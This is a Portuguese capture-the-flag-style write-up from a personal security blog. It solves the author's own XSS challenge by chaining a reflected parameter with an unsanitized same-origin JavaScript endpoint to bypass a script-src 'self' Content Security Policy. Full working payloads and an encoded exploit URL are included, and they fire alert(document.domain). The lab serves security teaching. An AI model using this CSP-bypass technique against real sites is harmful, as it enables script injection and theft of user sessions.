Skip to main content
Bruno Menozzi aka Zeroc00i
Back to homepage

Lab 4 - Bypassing CSP with MIME Sniffing XSS

Este desafio de nível 4 consiste em explorar uma vulnerabilidade de Cross-Site Scripting (XSS) em uma aplicação web protegida por Content Security Policy (CSP), utilizando uma técnica de MIME sniffing para injetar e executar código JavaScript malicioso.

URL do Desafio: https://brunomenozzi.com/desafios/xss4_f181.php


Passo a Passo da Resolução

O objetivo é executar um alert() no contexto da página, contornando as restrições impostas pelo CSP.

1. Identificando o Parâmetro e o CSP

  1. Ao acessar a página sem parâmetros, somos redirecionados para: https://brunomenozzi.com/desafios/xss4_f181.php?message=You%20was%20successfully%20logged%20out

O parâmetro message é refletido diretamente no corpo da página dentro de uma <div class="message">.

  1. Analisando o código-fonte, observamos o cabeçalho Content Security Policy:

    Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';
    
    • Isso significa que apenas scripts do mesmo domínio (brunomenozzi.com) são permitidos, e scripts inline são bloqueados.
    • Estilos inline são permitidos devido a 'unsafe-inline' em style-src.
  2. Testamos uma injeção básica no parâmetro message:

   https://brunomenozzi.com/desafios/xss4_f181.php?message=<script>alert(1)</script>

Resultado: Um alerta de violação de CSP aparece, indicando que scripts inline são bloqueados.

Conclusão: O CSP impede a execução de scripts inline, e precisamos encontrar uma forma de injetar um script que seja carregado a partir do mesmo domínio.


2. Explorando o Script Externo (version.php)

  1. No código da página, notamos a inclusão de um script externo:

    <script src='/desafios/version.php'></script>
    

    Este script está hospedado no mesmo domínio, então é permitido pelo CSP (script-src 'self').

  2. Acessamos https://brunomenozzi.com/desafios/version.php para analisar sua saída:

    Saída:

    var app = {'version':'teste'};
    
  3. Insight: O parâmetro version não é sanitizado, permitindo a injeção de código JavaScript arbitrário.

    Além disso, apesar do Content-Type: application/json, o navegador executa a saída como JavaScript porque ela é carregada via uma tag <script> (um caso clássico de MIME sniffing).


3. Desenvolvendo o Payload

Para explorar a vulnerabilidade, precisamos:

  • Injetar um script malicioso através do parâmetro message que carregue version.php com um parâmetro version manipulado.
  • Fechar a string JavaScript em version.php e injetar nosso código.

Teste de Injeção: https://brunomenozzi.com/desafios/version.php?version=teste'};alert(document.domain);//

  • Saída gerada por version.php:
    var app = {'version':'teste'};alert(document.domain);//'};
    
  • O teste' fecha a string do JavaScript.
  • O }; fecha o objeto app.
  • O alert(document.domain); executa o código malicioso.
  • O // comenta o restante da linha para evitar erros de sintaxe.

Construindo o Payload Final: Usamos o parâmetro message em xss4_f181.php para incluir uma tag <script> que aponta para version.php com o payload malicioso:

<script src="https://brunomenozzi.com/desafios/version.php?version=teste'};alert(document.domain)//"></script>

URL Completa (Encoded):

https://brunomenozzi.com/desafios/xss4_f181.php?message=%3Cscript%20src=%22https://brunomenozzi.com/desafios/version.php?version=teste%27};alert(document.domain)//%22%3E%3C/script%3E

THAT’S ALL FOLKS


4. Explicação da Técnica

  • MIME Sniffing: O navegador ignora o Content-Type: application/json de version.php porque a tag <script> indica que o conteúdo deve ser tratado como JavaScript. O navegador “fareja” o conteúdo, detecta a sintaxe JavaScript e o executa.
  • Bypass de CSP: Como version.php está no mesmo domínio (brunomenozzi.com), ele é permitido pelo CSP (script-src 'self'). O CSP não verifica o conteúdo do script, apenas sua origem.
  • Injeção no version.php: O parâmetro version não é sanitizado, permitindo que o atacante quebre a estrutura do JavaScript e injete código arbitrário.

Quando a URL final é acessada, o navegador:

  1. Carrega xss4_f181.php e reflete a tag <script> no parâmetro message.
  2. A tag <script> faz uma requisição para version.php?version=teste'};alert(document.domain)//.
  3. O navegador executa o código retornado por version.php como JavaScript, disparando o alert(document.domain).

Este desafio demonstra como uma má configuração de Content-Type combinada com falta de sanitização pode levar a vulnerabilidades graves, mesmo com CSP ativo.